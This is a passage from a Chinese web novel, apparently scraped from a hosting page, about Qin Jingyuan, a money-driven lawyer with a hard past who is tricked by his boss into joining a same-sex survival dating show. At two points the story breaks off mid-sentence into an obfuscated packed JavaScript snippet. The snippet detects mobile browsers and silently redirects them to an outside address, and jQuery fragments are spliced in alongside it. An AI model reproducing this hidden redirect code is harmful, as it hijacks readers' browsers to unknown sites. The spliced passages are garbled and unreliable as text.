《秦律师上恋综只想赚米》 1. 秦律师的过去 透过直升机的窗户俯瞰下去,宽阔的海面在阳光的轻抚下,泛起点点细碎的光。海风携着咸湿的气息,穿过机舱门两侧的缝隙,丝丝缕缕地钻进鼻腔。 极目之处,海天交融。撑手倚靠在窗边,秦璟沅的思绪难得随之飘远。他已经记不清上一次这样恣意地放空自己,是什么时候了。 或许,从未有过。 而自己那段还算无忧的童年时光,在发生了那些事后,也染上带血的污渍,被他刻意尘封进记忆深处。 成年之前,秦璟沅的生活很单一:打零工和学习。 打零工是为了能学习和吃饱饭,学习是为了以后能打高级工和吃好饭,横竖都脱不开一个“钱”字。 秦璟沅长大的地方,叫做清涟镇,不算偏僻,是很典型的江南水乡小镇。 青瓦白墙,石桥清波。 是游客眼中藏尽诗意的水墨画卷。 离开那里已经十年了,可秦璟沅仍记得他凌晨两点打工归来,烟雨濛濛,淋湿了他除校服外为数不多的干净常服,烦人得很,心头第无数遍暗骂: 这鬼天气妨碍他赚钱。 当时秦璟沅未满十六周岁,在别人眼里是妥妥的童工,还是临时的,很多地方都不愿意收他。 后来,还是巷尾一家24小时便利店的老板娘,看他模样俊俏,年纪小却性子成稳,让他当了收银员。 当然对外是自家侄子来帮忙。 据老板娘说,位置不好的缘故,便利店的客流量一直很小。再加上经常有地痞流氓之类的小偷小摸,每天营业额基本抵不上损失,已经快倒闭了。 前一个收银员,因为害怕被那些凶狠的地痞报复,对他们的偷窃行为都睁一只眼,闭一只眼。 店里也没钱装监控,直到老板娘检查账目和货量时,发现对不上,才知道员工的隐瞒,怒气冲冲地将他开除。 那个被开除的男人,在外面到处宣传这家便利店的老板有多黑心,不仅苛待员工,还拖欠工资,导致很久都没人愿意来招聘。 除了秦璟沅,他根本不在乎这些流言蜚语。证据大于一切,他只相信自己的眼睛。 此前,他其实作为客人,来光顾过几次。和其他超市将临期产品摆在货架最外面不同,这家便利店反而将最新鲜的放在外面。 从经营者的角度出发,这是一种不太明智的行为,不符合先进先出的原则,会造成货品的大量积压。对于这家客流量极低的便利店来说,只会恶性循环。 然而从某方面看,这也体现出了老板娘的品性。 事实证明,秦璟沅的选择是正确的。 可以说,没有这份小小的收银员工作,也就没有如今声名远扬的秦大律师。 他可能连初中都读不完。 而老板娘本人,也觉得自己那时的决定很明智。自从聘用了秦璟沅,短短几个月内,她的营业额就翻了三倍。 美滋滋地点着钞票,老板娘欣慰地拍拍秦璟沅的肩膀,告诉他以后如果没出路,真的可以靠脸吃饭。 年仅十五岁的秦璟沅,面庞尚青涩,却依旧可见未来的风华。尤其是那双狭长的丹凤眸里,嵌着一对琥珀,在灯光下流转着金箔般的碎芒。 而他的左眼下方落了一颗漆黑的泪痣,眼睫半垂时,平添几分清冷的疏离。 有位回头八百遍的客户,曾在秦璟沅低头找零钱时,偷偷拍了一张他的侧脸照,发到了自己的企鹅空间里,并配上非主流文案: 「是誰捨得讓他紅了眼框,落下淚滴呢?」 不过,老板娘那句话也只是开玩笑。她很清楚,秦璟沅未来不可能没有出路。 午夜十二点,趴在收银台上做题的少年,眉眼专注。她站在店外,叹了口气。 然后在月底结工资的时候,秦璟沅发现数额是之前说好的两倍。面对他疑惑的视线,老板娘只是吐掉嘴里的瓜子皮,一本正经地说,这些是他打跑那些小偷的奖金。 便利店没监控,虽然方便了地痞来偷东西,但也很适合秦璟沅教训小偷。 有次闹到警局里,他便安静地站在旁边,听着那个鼻青脸肿的矮个子男人,骂骂咧咧地用手指责他故意伤人。 对此,秦璟沅只是默默地盯着警局墙上“为人民服务”的牌匾,低声道: “姐姐,我不认识他。” 细边镜片下的眼睛看起来很冷静,手指却攥紧了身上洗得发皱的衬衫衣摆。 这一幕,“恰好”被女警察收入眼底。 多么可怜的孩子,身边没大人在,还平白无故遇上这种碰瓷事件。 正在破口大骂的男人,已经是警局的常客,打架斗殴、偷鸡摸狗的前科无数,这回居然都开始牵累无辜少年了。 随后,秦璟沅平安无事地回到了自己小小的收银台后方。 而那个地痞又在牢里蹲了几天,还被警告不许再找秦璟沅的麻烦,如果他不想因为违反未成年人保护法,被法律制裁的话。 这已经不是秦璟沅第一次,受到法律的保护了。 上一回,还是因为他被那个渣滓养父,打进了医院。还没康复的时候,秦璟沅便偷偷逃出病房,带着自己收集了一整年的证据,把养父告上了法庭。 身上的伤,是再好不过的证据。 拄着医用拐杖,秦璟沅站在原告席上,身形笔直。明明稚气未脱,周身却散发着超越年龄的沉稳和冷静。 他身边站着的法定代理人,是法院在当地居民委员会里选定指派的。只是,那人听着秦璟沅条理清晰的控告,表情震惊,迟迟无法发声。 这个孩子,不会把整本刑法都给背出来了吧? 无数个忍痛的日夜,秦璟沅抱着自己从隔壁住着的律师手里借来的法典,一字一句地咀嚼,将所有泪与血都咽了下去。 最后,法院撤销了养父的抚养权,处其三年以上十年以下有期徒刑,并额外赔偿了秦璟沅一笔精神损害抚/慰金。用这笔钱,他租了一个房子,开始独立生活。 本来他是打算回福利院的。令秦璟沅有些难过的是,院长在自己离开后的第三个月,就因病离世了。 那个在秦璟沅被人收养时,揉着他的头发,含泪祝他未来幸福的老人。 幸好,她不知道。 高考那几天,秦璟沅照常发挥。因为花了太多时间在打工上,他的高考成绩并不是最突出的那个。 可也足够他离开这个小城镇了。 成绩出来的时候,秦璟沅还在便利店的仓库里帮忙搬货。还是老板娘的尖叫声,吸引了他的注意力。 “啊啊啊——小沅,别搬了别搬了,快过来,高考成绩出来啦!” 高中三年,老板娘对秦璟沅的生活和学习非常关注,经常让他提早下班回家睡觉,高考更是亲自做早餐并送考。 作为不婚主义者,她三十六岁依然独身一人。 对于老板娘不自觉代入自己母亲的行为,秦璟沅没有多说,只是认真地吃掉她做的格外糟糕的早餐。 站在电脑前,秦璟沅看着那三个数字,眼神没什么波澜。 意料之中。 老板娘倒是比本人激动多了。 “不愧是我家元宝,你这分数比我当年高了整整三百多分啊!” 一只手胡乱地揉着秦璟沅黑色的发顶,女人的语气里含着满满的自豪与喜悦。他站直身体,拉平唇线,难得有些羞赧地压低声音: “月姐,别叫我元宝。” 不知道为什么,老板娘一高兴就会叫秦璟沅这个听起来无比幼稚的小名。 “哎呀,元宝多好听啊~你不是特别喜欢钱么,还一天到晚戴个小算盘。这名字招财,招财懂不懂!” 她话中提到的,是秦璟沅脖子上挂着的那枚算盘吊坠。这是院长亲手用木头雕的,是他十四岁那年的生日礼物。 每次有人给福利院捐赠玩具或者零食,其他孩子都会兴奋地睡不着觉,而秦璟沅也睡不着觉。 他不想要这些没用的东西。 年幼的秦璟沅很苦恼,因为他太穷了。等到离开福利院的那天,他觉得自己会饿死在街头。玩具并不能让他吃饱饭。 扯着老人的袖子,秦璟沅抬起头,摊开手心里那辆崭新的模型汽车,一脸认真: “院长妈妈,请问我可以用这个玩具,和您换成等价的钱吗?” 面对他的话,老人眼角的皱纹都带上了笑意。 “小沅,既然是等价交换,当然是可以啊。” 然而秦璟沅的这番言论,也传到了其他人的耳朵里。有些人觉得这个孩子小小年纪,就毫无童心,这么早就掉到了钱眼里,未来怎么会有出息。 当然,秦璟沅这个微不足道的缺点,依然无法阻止那些想要收养他的人。毕竟他长了一张极漂亮的脸蛋,个子也比其他营养不良的孩子高出许多。 有希望成为他们未来炫耀的资本。 结果全部被秦璟沅拒绝了。 他已经有院长妈妈了,不再需要别人的照顾。 收到算盘吊坠的那一天,秦璟沅听到老人说:“小沅,希望你未来能够靠自己的双手,赚到真正属于你一个人的钱,不需要再请求别人。” 她的声音仍是那样温柔与慈祥,可秦璟沅却从那双苍老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338960|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼里看到了悲伤。 他明白老人这股情绪的源头。 所以,秦璟沅答应了那个西装革履、相貌英俊的男人的收养请求,提前离开了福利院。 也许命运的轨迹早已书写完毕。 在少年因为那个幼稚的称呼不满地出言反驳时,林月情不自禁地弯起眉眼,松开放在秦璟沅发上的手。 终于,露出有点像孩子的表情了。 这些年来,在秦璟沅面前,林月觉得自己更像是那个被人处处照顾的小孩。 一个人生活了这么久,她在很多事情上依旧很迷糊,冒冒失失,被自己的小收银员冷脸骂了好多次。 她努力想要挽回自己身为成年人的尊严,却经常显得格外笨拙。林月认识秦璟沅以来,从没看他肆意地笑过,少年人的情绪几乎很少外露。 他总是那样冷静,像是个跳过了青春期的大人。不管发生什么,林月慌张地抬起头,就能看见那道高挑的身影,站在她面前,已经开始着手处理问题。 被镜片遮掩的琥珀色瞳仁,似是流动的水,带走了一切的焦躁与不安。 有时候,林月也会感到莫名的伤感。 这样的小沅,一定很辛苦吧,什么都靠自己扛着。如果他能遇到那个可以真正照顾他的人,就好了。 “元宝,你想好要报哪个大学了吗?” 懒得再纠正林月的称呼,秦璟沅用纸巾擦掉额间密布的汗珠,眼下的泪痣似乎也被呼出的热气蒸腾得有些水润。 他没有犹豫:“京华大学,法学专业。” 站在法庭上的那一刻,秦璟沅就已经做出了决定。日夜钻研的法条,化作他唇齿间的武器,有序地同他一起奔赴战场,最后摘得胜利的硕果。 他由衷地享受着那份成就感。 开学报道那天,林月送秦璟沅去了动车站。握着手里那条针法细密的黑色围巾,少年的脸上有些怔愣。 这是一条针脚细密的围巾,出自那个经常手抖加多盐的林月。 “听说京市冬天比南方冷得多,还会下大雪呢,到时候记得围上啊,这可是我亲手给你织的!” 是她二十条成品里最完美的。 “嗯。” 看着林月张开的怀抱,秦璟沅没有说话,只是轻应了一声,俯身环住了她的肩膀,拍了拍女人有些瘦削的背。 大学期间,秦璟沅在一次全国高校模拟法庭的竞赛上,遇到了向恒。他是当时的评委,也是京市最大的那家嘉信律所的老板,一眼就发现了秦璟沅的天赋和才能。 察觉到他经济上存在的困难后,向恒主动提出可以资助秦璟沅四年读书和生活的一切费用,要求是毕业后就得立刻来他的律所上班。 本来就没有读研打算的秦璟沅,自然答应了向恒的提议,他只想早点赚钱。 不出所料,短短几年,秦璟沅就凭借自己卓越的专业能力和极高的胜诉率,成为了嘉信律所的金牌律师,按小时收费。 而律所那些比秦璟沅资历深,却远不如他员工们,根本没心思嫉妒对方,因为他们已经快要被卷死了。怎么会有人,一年三百六十五天,不是在接委托,就是在接委托的路上。 短暂的休息时间里,秦璟沅就会泡一杯太平猴魁,端正地坐在他的办公椅里,攥着钢笔研读以前的案子。 面对他的老干部作风,其他人已无力吐槽。上一次,一个新来的女律师初生牛犊不怕虎,加到了秦大律师的微信,首先发了一个可爱的小孩表情包。 14:21 法律界的小蛮腰:「秦律师,我想问问,你的MBTI是什么啊?」 嘉信的高岭之花(备注):「苏律师,MBTI将人划分为十六种类型,并不严谨。人是复杂的动物,建议你学习一下《人格心理学》,对你以后工作会有所帮助。 」 法律界的小蛮腰:「哈哈哈哈哈太感谢啦!(玫瑰花)」 敲下这行字的时候,苏律师面无表情,紧抿的唇瓣带着一丝忧郁。 秦律师果然和传闻中一样,专业素养极强,消息都是秒回的。就是她好像看见了,给自己分享养生公众号的老父亲。 照对方的性格,应该不是在讽刺自己吧。苏律师一脸天真地想,忽略了她当时看见那段文字的第一感觉:阴阳怪气。 绝对是错觉! 放下手机,秦璟沅慢悠悠地抿了一口茶,熟练地点开那个窗口。看着自己卡里余额后面的那一长串零,他满意地翘了翘唇角。 细边镜框下,凤眼微微眯起,泛着温润的光泽,难掩愉悦之情。 没有人能妨碍他赚钱。 2. 老板的真正目的 坐在皮质沙发中央,秦璟沅垂眸看着腕上的手表,一副赶时间的样子。面对自家老板,他干脆利落地吐出三个字: “什么事?” 沙发对面,向恒弯起嘴角,用指尖压着一份合同推了过来,语气依旧温和: “小秦,鉴于你之前出色的业绩,律所决定让你带薪休假一个月。” 带薪休假。 这老狐狸什么时候这么大方了? 秦璟沅挑起眉梢,缓慢地打量着向恒的表情,没什么破绽。将视线落到那份合同上,他静静地等待着对方的下文。 “不过——我替你报名了一个综艺,这是合同。” 果然,是有条件的。 “假期我也可以工作,工资另算。” 他不打算浪费时间去参加什么综艺。 “小秦啊,人跟橡皮筋一样,绷太久是会断的!” 见秦璟沅依然无动于衷,向恒拿他没办法,补充了一句: “那你就当这是另一份工作吧。这综艺是有奖金拿的,你可以一边旅游,一边赚钱。” 和对方认识这么多年,向恒很清楚什么东西才能打动秦璟沅。别人都以为秦律师是发自内心地热爱工作,才会天天加班。 谁能想到,秦璟沅天天找老板要加班费。他可不是什么免费劳动力,贵着呢! 听到“奖金”两个字,秦璟沅眸光微闪。他其实也对千篇一律的民事委托有些厌烦。 尤其是最近,夫妻离婚争财产和孩子的案子越来越多。委托人的婚后生活,几乎都是一地鸡毛,整得秦璟沅对结婚都没什么兴趣了。 如果换种方式赚钱,也还不错。 “我先看看。” 没有立刻回复,秦璟沅决定先看下节目内容,伸出的手却被向恒敏捷地避开了。他抬起头,就听见自家老板提出了第二个要求: “但是,综艺具体内容是保密的,就当是我给你的惊喜。你只需要签名就行。” 面对秦璟沅怀疑的目光,向恒讪讪地摸了摸鼻尖,解释道: “别担心,我总不会坑你,还不是怕你又挑合同条款的刺。对了,录制结束也会有片酬拿。” 与此同时,向恒伸出右手,展开掌心比了个“五”。一个月的录制,片酬有五位数。 没有再多看合同,秦璟沅爽快地签下自己的名字。如果被坑了,他回来再坑回去。 看着男人高大的背影消失在门外,向恒终于松了一口气,拍了拍自己的胸口。他这个老板,真的付出了太多。 前些天,他收到了除秦璟沅之外全体员工的联名上诉。说是上诉,其实话里话外都是对秦律师的“心疼”,希望对方能好好休息一下,别再压榨自己的健康了。 而向恒对其中的缘由心知肚明,毕竟每天拿秦璟沅的工作效率和业绩来pua其他员工的罪魁祸首,就是他啊。 对此,向恒还是有一些些愧疚的。 他伸手拿过桌上的相框,照片里是三个人。向恒的前面,站着两个穿着学术服的青年,各自捧了一束花。 左边个子更高的黑发青年戴着一副银框眼镜,神情冷峻,正是秦璟沅。而右边的青年则留着一头棕色的卷毛,大大咧咧地揽着身旁人的肩膀,笑容开朗。 这是向恒的儿子,向哲言。 当初自己之所以会愿意资助秦璟沅,还有一方面的原因是,他的儿子和对方住在同一间宿舍。 而向哲言和向恒的聊天记录,十句里能有九句是夸秦璟沅的,还有一句是要钱。所以,在那次模拟法庭的决赛之前,向恒就已经从自家儿子的口中认识秦璟沅了。 想到综艺的形式和内容,向恒扯出一个苦涩的笑容。自从发现自己的儿子暗恋秦璟沅后,他就试探过对方: “小秦,你都快30岁了,有没有想过找个女朋友?” 当时,秦璟沅正捧着自己的保温杯闭目养神。闻言,他半睁开眼,冷淡地反问: “向老板,你还有空关心员工的感情生活?” “哎哟,还不是因为所里喜欢你的那些女律师。她们不好意思直接问你。这不,就找到我这儿来了。” “抱歉,我不喜欢女人。” 说这话的时候,秦璟沅连眉毛都没动一下,毫无掩饰,仿佛自己说的是再正常不过的事。 也让向恒的心,彻底沉了。因为他们向家,不能没有后代。而且向恒的妻子,一直很期待能够抱到孙子孙女。 政府宣布同性婚姻合法后,向恒就看到儿子的情绪发生了巨大的变化,肉眼可见的高涨。 所以这一回,向恒替秦璟沅报名了同性恋综,希望他能早点找到对象,才好让向哲言早点死心。 他承认自己是个自私的父亲。 向恒不相信这么多年,秦璟沅这样聪明的人,会发现不了自家傻儿子对他的感情。而他一直假装不知道,恰恰说明他并不喜欢向哲言,只想维持兄弟关系。 既然如此,就让他当那个坏人吧。但愿儿子不会恨自己。 可向恒还是不够了解秦璟沅。他根本没空关心别人,满脑子都是如何增加自己账户余额后面的位数。所以,他完全不知道向哲言对自己多年的苦苦暗恋。 在秦璟沅看来,他的舍友兼好兄弟向哲言,一直以来都有个奇怪的癖好,那就是给所有的朋友送礼物。 不管是情人节,还是圣诞节,他都会给全宿舍送礼物,送的东西都一模一样。秦璟沅不愿当那个不合群的人,看在礼物都很合自己心意的份上,便没有拒绝。 其实他更希望直接把礼物换成钱。 大学毕业后,秦璟沅在向恒的律所当了一名律师。而向哲言,则考上了京市的检察官。 可以说,每次秦律师上法庭打官司,十有八九会看见那张熟悉的脸。为了工作,向哲言把头发拉直染回了黑色,倒是成熟了许多。 不过他的怪癖,还是没变。 在秦璟沅收拾行李的时候,他接到了向哲言的电话。 “秦哥,有空不?出来搓一顿,我有礼物送你。” 男人语气随意,但隐隐含着一丝紧张。可秦璟沅完全没注意到,他正严肃地盯着自己一衣柜的黑色西装发呆。 一年到头都在工作,导致他除了西装,根本没有别的衣服。大学时候的那些短袖,在秦璟沅健身后都变得有点紧,裤子也短了一截。 戴着蓝牙耳机,他找出一件黑色无袖背心,低声拒绝: “没空,下次吧。” “好吧好吧,那秦哥你什么时候有空呢?” 向哲言的声音听起来有些失落,但很快又振作起来,执着地想要得到秦璟沅一个准确的回答。 “我要参加一个综艺,结束后我再通知你。” “啊?你居然会去参加综艺!” “怎么,我不能参加?” 将茶叶罐塞进行李箱,秦璟沅坐到床边,决定一会儿去商场买几件新的衣服。 “不不不,你当然能。那是什么类型的综艺啊?” “问你爸去。” 之后又随便扯了几句,秦璟沅挂掉电话,按计划出门采购。 而向哲言此时已经飞速联系上了向恒,因为他莫名有些不安。 “爸,听说你让秦哥去参加了一个综艺,是什么啊?” “什么?!!” 慌张地打开浏览器,向哲言在输入框里打下几个字:爱在荒野,弹出来一条最新的微博链接。 爱在荒野节目组V: 【想感受心跳加速的刺激,又想邂逅灵魂相契的浪漫?《爱在荒野》——首档同性求生恋综,打破传统,开启全新综艺模式。 本节目将采取全素人的嘉宾阵容,当来自各个领域的佼佼者走出舒适圈,踏入荒野,又会碰撞出怎样的火花? 是绝境中并肩作战的惺惺相惜,还是不经意间萌动的爱意? 节目内容与形式暂时保密,请大家锁定关注,一同见证这场求生与爱恋交织的非凡之旅,敬请期待!#爱在荒野】 这条微博的热度越来越高,可以看出,网友对这样新奇的综艺模式抱有极高的期待。 国内的同性婚姻法出台以来,大众对“同性恋”三个字,已经没有之前那样排斥了。尽管部分传统的人依然无法接受,但毋庸置疑的是,这档综艺掀起了巨大的浪潮。 看着这条微博,向哲言的脸色惨白如纸。这一次见面,他已经准备了好久,想要向秦璟沅表白。 现在居然告诉他,自己暗恋了近十年的人,要去参加什么同性恋综,还有可能会和其他陌生的男人牵手成功。 而他向哲言,永远只能是秦璟沅的兄弟。 他绝不允许! 松开陷进肉里的指尖,向哲言强行冷静下来,找到了节目组的联系方式。在电话里听到向恒的话时,他就明白过来,这一切都是自己老爸搞的鬼。 按秦璟沅的性格,他怎么可能会去参加什么恋爱综艺,这和在大众的眼皮子底下相亲没区别。 听到节目组的话,向哲言的表情总算好看了一些。他毫不犹豫地应了一声:“可以。” 幸好,还来得及,秦璟沅是他的。 直升机上,除了驾驶员,还有一个节目组的工作人员。从秦璟沅出现后,那人就一直呆呆地盯着他瞧。 将目光从窗外收回,秦璟沅看向对面穿着工作服的青年,神色淡淡地问了句: “请问你这样盯着我,是想说什么吗?” 咬字清晰,不疾不徐。声音裹挟着一种无形的力量,稳稳地落入另一人的耳畔,将他瞬间惊醒了。 青年慌乱地偏过头,举起手中的台本,遮住了自己泛红的耳垂,小声喃喃: “额,对不起,是...是的....” 说着说着,那人又陷入了沉默。 “那么,你想说的,是什么呢?” 靠在座椅上,秦璟沅耐心地重复道,声线听起来依旧平稳,心头却暗想:这小子,看起来才二十出头,有点不专业啊,这样怎么赚大钱呢? 可青年不知道面前男人的心理活动,只觉得海风好像透过舱门,抚摸了自己的脸庞,让他的内心莫名地平静下来。 清了清嗓子,青年露出一个羞涩的笑,按照导演给的台本说道: “秦先生,在节目录制前,我们需要您回答几个问题。” 他还是不敢细看那对在阳光下,泛着金辉的瞳仁。可视线下移时,青年又对上了男人浅色的唇瓣。他心头一跳,只好一个劲儿地盯着秦璟沅领口别着的麦克风瞧。 “问吧。” “第一个问题,您为什么选择参加这个节目呢?” 青年打算先问个比较不私人的,缓和一下气氛。答案无非是想要找个对... “假期无聊,来放松的。” ……额,明白了,来野外求个生,谈个恋爱,顺便放个松? “好的好的。那第二个问题,您的理想型是什么呢?” 在他问完后,气氛不知为何,突然凝固了一瞬。青年汗流浃背地举起台本,反复确认着上面的字,应该没问错吧? 很快,空气又重新流动了。 抬手扶了扶镜框,秦璟沅遮掩掉眸中的疑惑。他斟酌片刻,打算用一套官方的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338961|167819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敷衍过去,什么“三观契合,真诚善良,有责任感”之类的。 可对上青年暗含期待的目光,他的话在喉咙里转了个弯: “我的理想型,应该是听话的聪明人。” 既然说好是来放松的,他决定随心一些。虽然不知道一个旅游节目,为什么要问这种问题,秦璟沅还是认真回答了。 这确实是他的理想伴侣,有且只有两个要求。 听话:在秦璟沅有需要的时候出现,忙碌的时候就乖乖呆一边,不会妨碍他工作赚钱。 聪明:知道该做什么,不该做什么,不会平白惹一堆麻烦,让他天天收拾,妨碍他工作赚钱。 秦璟沅这次的回答,倒是挺符合常理的。青年开始反思自己:他到底听不听话,聪不聪明啊?可恶,导演总骂他是个蠢货来着。 压下心头莫名的失落,他从口袋中掏出几张卡片,递到秦璟沅的面前,解释了一下: “最后一个问题是随机的。秦先生,您可以抽一张。” 抽出正中间的那张,秦璟沅低头扫了眼,神色终于变得古怪起来。 【对于和节目中产生感情的嘉宾,你能接受最快速的情感进展,是到哪一步?】 将卡片递到青年手中,秦璟沅用余光确认了一下他的表情。很正常,除了嘴角好像有点抽筋。 看来节目组考虑的还挺多啊,连录制期间嘉宾可能会在旅途中产生的情感因素,都包括在内了。 想想也有道理,朝夕相处下来,男女之间确实容易出现这种情况。 “最快的进展,接吻吧。” 在这方面,秦璟沅的想法比较传统。他认为更进一步是结婚后才能做的,不管是和女人,还是男人。 他觉得自己回答的尺度应该挺正常,这人到底在脸红什么?大概是个连亲嘴都没亲过的毛头小子吧。 不过,秦璟沅忘了他自己也是,而且快要成为大魔法师了。 “...好的,感谢您的回答。直升机即将降落,请您坐稳。” 强行将自己的目光从秦璟沅的唇上挪开,青年机械地吐出早已准备好的话,就用台本彻底遮住了自己的脸。 他感觉心脏快要爆炸了。 对此,嘉信律所的其他员工表示,他们深有同感。所有进来的人,见到秦律师的第一眼,都是怀疑自己体检的时候,医生看岔了,没查出心脏病。 这个症状大概要持续三个月,才能正常地和秦律师对视、打招呼。搁谁每天看见这张如沐神光的脸,都无法淡定。 他们忍不住猜测,这或许也是秦律师胜诉率那么高的原因之一。对面的辩护律师可能都要忘记该怎么说话了,甚至想要认同地点点头。 秦璟沅本人并不知道,在他认真工作的时候,琥珀色的瞳孔就像是被点燃的金色火焰,熠熠生辉。让人不自觉就沉沦其中,迷失在那片金灿的光晕里。 偏偏他一年三百六十五天,天天都在工作,连过年都不回家啊!其他员工被秦璟沅卷得很痛苦,但看见他的脸,又很幸福。 等到直升机降落在沙滩上,秦璟沅拎着自己的行李箱走下来,就对上了一张极其显眼的脸。 那人左右手分别提着一只巨大的银色行李箱,上面贴满了各种颜色的托运标签。 而吸引秦璟沅目光的,是男人那头张扬的银发,略长发尾贴着他的脖颈。同一时间,那人也正打量着这边,漆黑的桃花眼微眯,透着漫不经心。 白色带红纹的机车夹克,大大地敞开着,里面搭着件黑色的工字背心。领口露出大片蜜色的胸肌,以及锁骨侧方的字母纹身:Valkyrie。 下身则穿着条黑色的牛仔裤,两边各破了好几个洞,边缘有些毛糙,膝盖骨很明显,腿上肤色倒是白了点儿。 直到对方带着箱子大步走到秦璟沅面前,他才看清了更多细节。 男人左侧眉毛上下各有一颗眉钉,耳垂戴了一副不对称的黑色圆形耳环。左耳坠着枚十字架,耳骨上还卡了两个环。 穿了这么多个孔,潮得秦律师觉得自己可能下一秒就要得风湿了,耳朵也有点痛。 而另一个人上下扫视着秦璟沅的穿着,无语地撇撇嘴。不是,到底谁来旅游会穿皮鞋和西裤啊,他觉得仿佛看见了自家臭老头。 一天到晚打个领带,身后还跟着一群秘书,一边看手表,一边骂他不务正业,车开够了就来继承家业。 啧啧,虽然这人穿得倒是比老头子好看得多,瞧这宽肩窄腰大长腿,差点要超过他了(?)。 不对,可恶啊,这男的好像比自己高了几厘米。暗自磨牙,他面上毫不在意,主动伸出手,自我介绍道: “我叫韩睿霖,你...你叫什么?” 撞进那片金色,他突然停顿了一下,喉结上下滑动,努力保持声线的平稳。 唔,睫毛好长,有点好看啊。算了,高几厘米而已。 礼貌地握住那只手,秦璟沅同样回复了自己的名字,顺便客套了一下: “秦璟沅,幸会。你看起来很酷。” 听到男人对自己的夸奖,韩睿霖有些不自在地垂眸,目光落到了两人交握的手上。他的肤色偏深,更衬得对方的指节白皙如玉。 有点像牛奶夹心的巧克力。 啊啊啊,他到底在想什么鬼啊! “额,谢...谢,你也是。” 耳垂发烫,韩睿霖为自己的想法感到羞愧。但因为皮肤有点黑,秦璟沅根本看不出来,还以为是自己的话让对方感到社交尴尬,才随便敷衍了事。 什么叫“你也是”啊? 还是潮不过你的。 3. 修罗场初现? 从落地之后,秦璟沅就一直在观察周围的环境。嶙峋的礁石,无人的沙滩,茂盛的树林,枝干恣意地伸展,层层叠叠。 这和他想象中的旅游景点完全不同。 出发之前,秦璟沅临时接到了上个委托人的消息,做了些案子的扫尾工作。和人见面的时候,他穿的还是正装。 等到事情处理完毕,离飞机起飞的时间只剩半个小时,秦璟沅根本来不及回家换衣服。 万幸的是,行李被他提前放在了后备箱。秦璟沅在车上将领带和西装外套脱了,只留下里面那件纯黑的衬衫。 他本打算先到节目组安排的酒店,再换上方便的衣服和运动鞋的。可现在,秦璟沅环顾四周,根本没看见一丁点儿酒店或者民宿的影子。 而刚才那两架直升机,在将秦璟沅和韩睿霖二人送到沙滩后,就重新起飞,消失不见。 总有种不详的预感。 要不是秦璟沅在不远处的树干上,发现了一些人为安置的摄像头,他真要以为他们是被丢在了荒岛上,自生自灭。 如果现在他还相信向恒的话,认为这真的是一档单纯的慢生活旅游类综艺,秦璟沅就该愧对银行卡里赚的那些钱了。 很好,果然被老狐狸坑了把。 幸好在离开前,秦璟沅把自己养的那条阿拉斯加,寄养到了向恒的家里。毕业后,他工作三年就在京市全款买了房子,还养了一条雪橇犬,名叫土豆。 和其他精力旺盛就会拆家的狗狗不同,土豆的性格非常乖,很少给秦璟沅添麻烦。然而,只要长时间闻不到自己主人的味道,它就会焦虑地啃咬家具,到处破坏。 上一回,秦璟沅去国外出差,把土豆托付给了林月。顺便一提,老板娘的便利店已经变成巨型连锁超市,开到了京市。 只是一个星期,他就接到了林月的哭诉电话,说土豆把她的沙发全部咬烂了,电视也啃了一半。这才让秦璟沅知道,自家狗狗的乖巧只是表象而已,内里的破坏欲其实是被抑制住了。 之后只要出差,秦璟沅就会雇专人来家里照顾土豆。虽然他喜欢赚钱,但并不代表他是个铁公鸡。对于自己的所属物,秦璟沅非常大方,狗粮买的都是最贵最好的。 这次,他是故意把土豆送到向恒家里的。秦璟沅很清楚对方不敢把合同内容给他看,肯定有自己的心思在,只是一时没计较。 想想时间,土豆应该已经开始焦虑地抓地毯了。按秦璟沅对向恒的了解,对方肯定知道这是他故意的,却会因为心虚,不敢吱声。 向恒这个不靠谱的儿控老板,在秦璟沅的眼里早就没什么形象可言了。也是个要人操心的主,父子内里完全是一个性格,一天到晚拿他炫耀和pua员工。 平时与其说两人是上下级关系,其实更像是朋友。秦璟沅不明白,自己为什么就遇不到一个真正靠谱的人呢? 在秦璟沅暗自思索的时候,站在一旁的韩睿霖正盯着自己的掌心发呆。他伸展着手指,回味着刚才冰凉的触感。 随后,韩睿霖抬手抓着自己的后脖颈,用余光悄悄地瞥了眼左侧的男人。在他说完那句话后,对方就点点头,快速松开了手。 他难道是说错话了? 完全没意识到是自己刚刚的回答,直接终止了两人之间的话题。 就在这时,空中传来熟悉的螺旋桨声。随着距离的拉近,愈发清晰。 又来了两架直升机,应该是其他嘉宾。两个男人一前一后地出现在沙滩上,带着各自的行李箱。 最前面的人穿着白T,外面搭了件棕色的马甲。宽松的黑色阔腿裤下,是一双米白的勃肯鞋。 漆黑的马尾搭在男人的颈侧,在阳光下泛着柔和的光泽。要不是他的下颌线条分明利落,脖颈的喉结也很突出,秦璟沅几乎要认错性别了。 五官实在是雌雄莫辨。 走在长发男人身后的,个子则比他高出了半个头,正好露出一张硬朗冷酷的脸庞。 眉骨突出,眼型狭长,鼻梁中央微微隆起,极淡的唇瓣则抿成直线,颊侧有条淡粉色的疤痕,增添了几分野性。 简单的黑色短袖,配工装裤与马丁靴,是和刚才那人完全相反的类型。 一番自我介绍后,秦璟沅知道了两人的名字。前面这个叫南砚,后面的是苏弘嘉。 